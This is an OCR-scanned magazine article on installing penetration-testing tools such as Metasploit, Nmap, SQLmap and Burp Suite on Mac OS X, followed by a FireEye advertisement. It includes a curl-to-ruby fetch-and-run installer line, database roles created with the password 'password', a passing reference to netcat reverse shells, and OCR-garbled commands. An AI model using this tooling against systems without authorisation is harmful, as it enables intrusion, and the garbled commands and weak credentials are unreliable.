plication to get running on Mac OS X and that was
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mostly due to the PostgreSQL database setup.
The majority of hacking tools are command line
based, so they are easy and are fairly straight for-
ward to install.

In this article | am going to take you through in-
stalling and configuring some of the most popu-
lar and useful hacking tools such as Metasploit
on Mac OS X. If you are interested in maximizing
the use of your Mac for pen testing and running
your tools natively, then you should find this ar-
ticle helpful.

The pen test tools we will be installing is a must
have set of tools and all of them are free, with the
exception of Burp Suite and Nessus. Although
Burb Suite has a free version, which offers a por-
tion of the Burp Suite tools for free. The tools of-
fered for free with Burp Suite are useful tools and |
highly recommend them. The professional version
of Burp Suite is reasonably priced.

Metasploit Framework
Nmap

SQLmap

Burp Suite

Nessus

SSLScan

Wireshark

TCPDUMP

Netcat
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Metasploit Framework

The Metasploit Framework is one of the most pop-
ular and powerful exploit tools for pen testers and a
must have for pen testers. The Metasploit Frame-
work simplifies the exploitation process and allows
you to manage your pen tests with the workspace
function in Metasploit. Metasploit also allows you
to run nmap within Metasploit and the scan infor-
mation is organized by project with the workspace
function. You can create your own exploits and
modify existing exploits in Metasploit. Metasploit
has many more features and too many to mention
in this article, plus the scope of this article is dem-
onstrate how to install Metasploit and other pen
testing tools.

The Install

Before we install Metasploit, we need to install
some software dependencies. It is a little more
work to install Metasploit on Mac OS X, but it will
be worth it. Listed below are the prerequisite soft-
ware packages.

Software Prerequisites

* MacPorts
* Ruby1.9.3
« Homebrew
« PostreSQL

MacPorts Installation
Install Xcode

» Xcode Install from the Apple App Store, or it
can be downloaded from the following URL;
https://developer.apple.com/xcode/

* Once Xcode is installed go into the Xcode pref-
erences and install the “Command Line Tools”.
(see Figure 1)

ana Downloads
LY Ve W T
General Behaviors Fones & Colors  Text Ediing  Key Bindings | Downloads | Locarions
SIS Decumentation |
-heck far i updates automatically Check and Install Now
L .1 i 4 b wetan
L X 4 1M e

=

Bodore installing. note that from within Terminal you can use the XCAUN tool to lunch complers and othes ools embedded
within the Xeode spplication. Lse the XCODE-SELECT ol to define which version of Xoode is active. Type “man xonn™
trom within Terminal o fing out mone.

Figure 1. Install “Command Line Tools”
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Install the MacPorts app

* Download and install the package file (.dmg)
file from the MacPorts web site; https./distfiles.
macports.org/MacPorts/

Once the files is downloaded install MacPorts.
More information on MacPorts can be found
here: http.//www.macports.org/install.php

* Run MacPorts selfupdate to make sure it is us-
ing the latest version.

From a terminal window run the following com-
mand:
$ sudo port selfupdate

Ruby 1.9.3
Mac OS X is preinstalled with Ruby, but we want to
upgrade to Ruby 1.9.3

*  We will be using MacPorts to upgrade Ruby.
From a terminal window run the following com-
mand:
$ sudo port install rubyl9 +nosuffix

* The default Ruby install path for MacPorts is: /
opt/local/

It's a good idea to verify that the PATH is cor-

rect, so that opt/1ocai/bin is listed before /usr/

bin. YOU should get back something that looks

like this:

/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/
usr/sbin:/sbin

You can verify the path by entering the follow-

ing syntax in a terminal window:

$ echo S$PATH

To verify the Ruby install locations, enter this

syntax:

$ which ruby gem

You should get back the following response:

/opt/local/bin/ruby

/opt/local/bin/gem

Database Installation

A database is not required to run, but some of the
features of Metasploit require that you install a data-
base. The workspace feature of Metasploit is one of
the really nice features of Metasploit that requires a
database. Workspace allows easy project organiza-
tion by offering separate workspaces for each proj-
ect. PostgreSQL is the vendor recommended and
supported database, but MySQL can be used. In
this article, we will be using PostgreSQL.

We will use Homebrew to install PostgreSQL. |
tried a few different installation methods, but this is
the easiest way to install PostgreSQL. Homebrew
is good method to install Open Source software
packages.
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* First we will install Homebrew.

From a terminal window run the following com-

mand:

$ ruby -e “$(curl -fsSkL raw.github.com/mxcl/

homebrew/go) ”
* Next we will install PostgreSQL using Home-
brew.

From a terminal window run the following com-

mand:

$ brew install postgresqgl

* Next we initialize the database, configure the
startup, and start PostgreSQL.

From a terminal window run the following com-

mand:

initdb /usr/local/var/postgres cp /usr/

local/Cellar/postgresql/9.1.4/homebrew.mxcl.

postgresqgl.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/
homebrew.mxcl.postgresql.plist pg ctl -D /
usr/local/var/postgres -1 /usr/local/var/
postgres/server.log start

» Database configuration

In this step we will create our Metasploit data-

base and the database user.

* The Homebrew install does not create the pos-
gres user, so we need to create the postgres
user to create databases and database users.

At a command prompt, type the following:

$ createuser postgres user -P

Enter password for new role: password
Enter it again: password
Shall the new role be a superuser? (y/n) y

Shall the new allowed to
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role be create

databases? (y/n) y

$ Shall the new role be allowed to create more
new roles? (y/n) y

* Creating the database user

At a command prompt, type the following:

$ createuser msf user -P

Enter password for new role: password

Enter it again: password

(y/n) n

allowed to

Shall the new role be a superuser?

Shall the new role be create

n v W

databases? (y/n) n

$ Shall the new role be allowed to create more
new roles? (y/n) n

* Creating the database

At a command prompt, type the following:

$ createdb --owner=msf user msf database

* Install the pg gem.

At a command prompt, type the following:

$ gem install pg

The database and database user are created, so
now it is time to install Metasploit.
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Metasploit software installation
The dependencies have been installed and next
we will be installing the Metasploit software.

* Download the Metsploit source code for in-
stallation using the link provided below and do
not download the .run file from the Metasploit
download page. Download the Metasploit tar
file from: http.//downloads.metasploit.com/data/
releases/framework-latest.tar.bz2.

* Once the download is complete, untar the file.
If you have software installed to unzip or untar
files, then it should untar the file when the file
is finished downloading. | use Stufflt Expander
and it untarred the file for me upon completion
of the download. If you need to manually un-
tar the file, type this command at the command
line and it will untar the file into the desired di-
rectory:
$ sudo tar -xvf framework-lastest-tar.bz2 -C /

opt

If the file was untarred for you as mentioned,

you will need to move the Metasploit source

file structure to the opt directory. Your directory
structure should look like this:

/opt/metasploit3/msf3

Starting Metasploit

Now that Metasploit is installed, we will start
Metasploit for the first time. You will need to navi-
gate to the Metasploit directory and start Metasploit.

» Navigate to the Metaploit directory with the fol-
lowing syntax entered at the command line:
$ cd /opt/metasploit/msf3

+ To start Metasploit, simply enter the following
syntax:
$ sudo
You will get one of the many Metasploit
screens like the one in Figure 2.

./msfconsole
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Figure 2. This is one of the many Metasploit screens you will
see when launching Metasploit
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Connecting to the database

In this next step we will connect Metasploit to
our PostgreSQL data base. From the Metasploit
prompt, type the following syntax:

msf > db_connect msf user:password€127.0.0.1/msf
database

You will see the following message and you
should be connected.

[*] Rebuilding the module cache in the background...

Type in the following syntax to verify the database
is connected:

msf > db status

You will get the following back verifying the data-
base is connected:

Listing 1. Database Backend Commands as displayed in
the Metasploit console

Database Backend Commands

Command Description
creds List all credentials in the
database

db connect Connect to an existing database

db disconnect Disconnect from the current
database instance
db_export Export a file containing the

contents of the database

db_import Import a scan result file (filetype
will be auto-detected)
db nmap Executes nmap and records the

output automatically
db rebuild cache Rebuilds the database-stored
module cache

db status Show the current database
status

hosts List all hosts in the database

loot List all loot in the database

notes List all notes in the database

services List all services in the data-
base

vulns List all vulnerabilities in the
database

workspace Switch between database work-
spaces

www.hakin9.org/en
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[*] postgresql connected to msf database

The database is now connected to Metasploit, but
once you exit Metasploit the database will be dis-
connected. To configure Metasploit to automat-
ically connect on startup, we will have to create
the msfconsole.rc file.

Enter the following syntax at the command
prompt:

$ cat > ~/.msf3/msfconsole.rc << EOF db connect

-y /opt/metasploit3/config/database.yml
EOF

Updating Metasploit

Now that we have Metasploit installed and con-
figured, we will update the Metasploit installation.
From the command prompt, type the following syn-
tax:

$ ./msfupdate

This can take a while, so just set back and let the
update complete. Make sure to update Metasploit
frequently so you have the latest exploits.

The benefits of Metasploit with database
Metasploit is installed, the database is connected
and ready to use. So what can | do with Metasploit
with a database that | couldn’t do without one?
Here is a list of the new functionality gained by us-
ing a database with Metaploit.

Here is a list of the Metasploit Database Back-
end Commands taken directly from the Metasploit
console: Listing 1.

The commands are pretty much self-explanatory,
but to it should be noted that db_import allows you
to import nmap scans done outside of Metasploit.
This comes in handy when you are working with
others on a pen test and you want to centrally
manage your pen test data. As mentioned earlier,
workspace helps you manage your pen tests by al-
lowing you to store them in separate areas of the
database.

A great reference guide for Metasploit can be
found at Offensive Security’s website: http./www.
offensive-security.com/metasploit-unleashed/
Main_Page.

Nmap

Nmap is an open source network discovery and
security auditing tool. You can run nmap within
Metasploit, but it is good to have nmap installed so
you can run nmap outside of Metasploit.

HaHIN9 -


http://www.offensive-security.com/metasploit-unleashed/Main_Page
http://www.offensive-security.com/metasploit-unleashed/Main_Page
http://www.offensive-security.com/metasploit-unleashed/Main_Page

We will use Homebrew to install nmap. From the
command prompt, type the following syntax:

$ brew install nmap

Visit the Nmap website for the Nmap reference
guide: http://nmap.org/book/man.html.

SQLmap is a penetration testing tool that detects SQL
injection flaws and automates SQL injection. From
the command prompt, type the following syntax:

$ git clone https://github.com/sglmapproject/
sgqlmap.git sglmap-dev

Burp Suite is a set of web security testing tools, in-
cluding Burp Proxy. To install Burp Suite, download
it from: http.//www.portswigger.net/burp/download.
html

To run Burp, type the following syntax from the
command prompt:

$ java -jar -Xmx1024m burpsuite v1.4.01.jar

For more information on using Burp, go to the
Burp Suite website: http://www.portswigger.net/
burp/help/.

Nessus is a commercial vulnerability scanner and
it can be downloaded from the Tenable Network
website: http.//www.tenable.com/products/nessus/
nessus-download-agreement.

Download the file Nessus-5.x.x.dmg.gz, and
then double click on it to unzip it. Double click on
the Nessus-5.x.x.dmg file, which will mount the
disk image and make it appear under “Devices” in
“Finder”. Once the volume “Nessus 5” appears in
“Finder”, double click on the file Nessus 5.

The Nessus installer is GUI based like other Mac
OS X applications, so there are no special instruc-
tions to document. The Nessus 5.0 Installation and
Configuration Guide as well as the Nessus 5.0 User
Guide can be downloaded from the documentation
section of the Tenable Network website: http.//www.
tenable.com/products/nessus/documentation.

SSLScan queries SSL services, such as HTTPS, in
order to determine the ciphers that are supported.

To install ssIscan, type the following syntax at the
command prompt:
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$ brew install sslscan

Wireshark is a packet analyzer and can be useful
in pen tests.

Wireshark DMG package can be downloaded
from the Wireshark website: http://www.wireshark.
org/download.html.

Once the file is downloaded, double click to in-
stall Wireshark.

TCPDUMP is a command line packet analyzer that
is preinstalled on Mac OS X. For more information
consult the man page for tcpdump, by typing the
following syntax at the command prompt:

$ man tcpdump

Netcat is a multipurpose network utility that is pre-
installed on Mac OS X. Netcat can be used for port
redirection, tunneling, and port scanning to just
name a few of the capabilities of netcat. Netcat is
used a lot for reverse shells. For more information
on netcat, type the following syntax at the com-
mand prompt:

$ man nc

Follow the instructions in this article, you will have
a fully functional set of hacking tools installed on
your Mac and you will be able to run them natively
without having to start a virtual machine or deal with
the added administrative overhead that comes with
running a virtual machine. You will also not have to
share resources with a virtual machine. | hope you
found this article useful and | hope you enjoy setting
up your Mac OS X hacker toolbox as much as | did.
With Macs gaining popularity, | can only imagine
they will become more widely used in pen testing.

PHILLIP WYLIE

q Phillip Wylie is a security consultant

! F" specializing in penetration testing,

¥ |:"“' network vulnerability assessments

' and application vulnerability assess-

« ments. Phillip has over 8 years of ex-
perience in information security and
7 years of system administration ex-
perience.
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http://nmap.org/book/man.html
http://www.portswigger.net/burp/download.html
http://www.portswigger.net/burp/download.html
http://www.portswigger.net/burp/help/
http://www.portswigger.net/burp/help/
http://www.tenable.com/products/nessus/nessus-download-agreement
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ADVANCED TARGETED ATTACKS

HAVE PENETRATED 95% OF ALL NETWORKS".
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You may think your existing security defenses prevent advanced
targeted attacks from entering your network and stealing your data.
They don't. Advanced attacks easily evade traditional and next
generation firewalls, IPS, AV and gateways. Your best defense is
FireEye. Trusted by the Fortune 500, and over 60 government agencies
globally, FireEye is the leader in helping organizations combat advanced

malware and targeted APT attacks.

Put a stop to advanced attacks with advanced security. Visit us today
at www.FireEye.com/StopAPTs and lef us help you close the hole in

your network.

)
<© FirekEye

*Based on FireEye end-user data
© 2013 Firekye. All rights reserved.
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http://www.fireeye.com/

If you would like to receive the custom wallpaper used for this article, you can
download it for FREE from the EaglesBlood™ Development website.

http://www.EaglesBlood.com
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